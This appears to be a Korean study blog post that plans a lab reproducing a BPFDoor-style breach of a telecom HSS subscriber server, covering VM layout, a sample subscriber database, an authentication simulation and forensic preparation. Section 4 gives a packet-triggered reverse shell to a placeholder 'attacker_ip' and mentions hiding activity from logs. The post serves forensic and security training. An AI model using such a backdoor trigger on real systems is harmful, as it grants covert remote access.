Challenger

챌린저 7주차

aaa0843 2025. 5. 26. 16:48

1. 전체 시스템 개요

[공격자 VM]
   |
   |  (침투 및 백도어 설치)
   ↓
[HSS 서버 VM]  ←→  [내부 DB: 가입자 정보]
   ↑
   |  (외부 패킷 캡처 및 인증 응답 시뮬레이션)
   ↓
[관리자(포렌식) VM]

2. 가상 머신 구성

역할 구성 내용

HSS 서버 Ubuntu Linux + Flask/Node.js 웹서버 + SQLite/PostgreSQL로 가입자 DB 구성
공격자 VM Kali Linux + Netcat/Metasploit + 악성 BPF 스크립트 로딩 도구
포렌식 VM Ubuntu + Volatility, Wireshark, auditd 등

3. HSS 서버 기능 재현 방법

A. 가입자 정보 DB (USIM 관련)

-- subscribers.db
CREATE TABLE subscribers (
    id INTEGER PRIMARY KEY,
    imsi TEXT,
    imei TEXT,
    ki TEXT,
    phone_number TEXT
);

 

가입자 데이터를 아래와 같이 임의로 생성

INSERT INTO subscribers (imsi, imei, ki, phone_number)
VALUES ('450061234567890', '356938035643809', 'F23AB9812D...', '01012345678');

 

B. 인증 프로토콜 시뮬레이션

  • RAND + SRES 계산 흐름을 Python으로 단순 재현
  • 예시 시나리오: RAND값 입력 → Ki와 XOR → SRES 반환
  • HTTP POST로 인증 요청을 주고받으며 시뮬레이션 가능

4. BPFDoor 모사

  • 실제 BPFDoor 실행은 위험하므로, 유사 기능을 가진 간이 백도어 스크립트로 대체
  • 조건 기반 리버스 셸: 특정 포트의 특정 패킷 수신 시 /bin/bash reverse shell 실행
  • 커널 로그 기록 우회는 /dev/null 리디렉션 등으로 흉내
# reverse_shell_trigger.sh
tcpdump -i any port 5555 and 'tcp[13]=0x18' -c 1
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

5. 포렌식 재현을 위한 준비

  • auditd로 /var/log/audit/audit.log 기록 활성화
  • syslog, bash_history, /tmp, /var/tmp 추적
  • volatility로 메모리 덤프 후 분석
  • tcpdump로 유출 패킷 캡처

6. 시스템 보안 정책 / 규정 대비

  • 개인정보보호법 상의 기술적 보호조치 의무 분석
  • HSS와 같은 시스템의 접근통제 정책 미비 분석
  • 실제와 유사한 조직도 설정하여 보안 컨설팅 문서화

참고할 만한 자료

자료명 설명
3GPP TS 23.002 HSS의 역할과 아키텍처 기술 명세
BPFDoor 분석 보고서 Trend Micro 보고서
USIM 인증 흐름 RAND, Ki, SRES 구조 이해용 글
SRLabs SIM Toolkit 공격 사례 실제 유심 공격 사례 참고 자료
Plura 블로그 SKT 사건 포스트 상세 정리

'Challenger' 카테고리의 다른 글

BPF도어와 포렌식과 eBPF  (0) 2025.05.19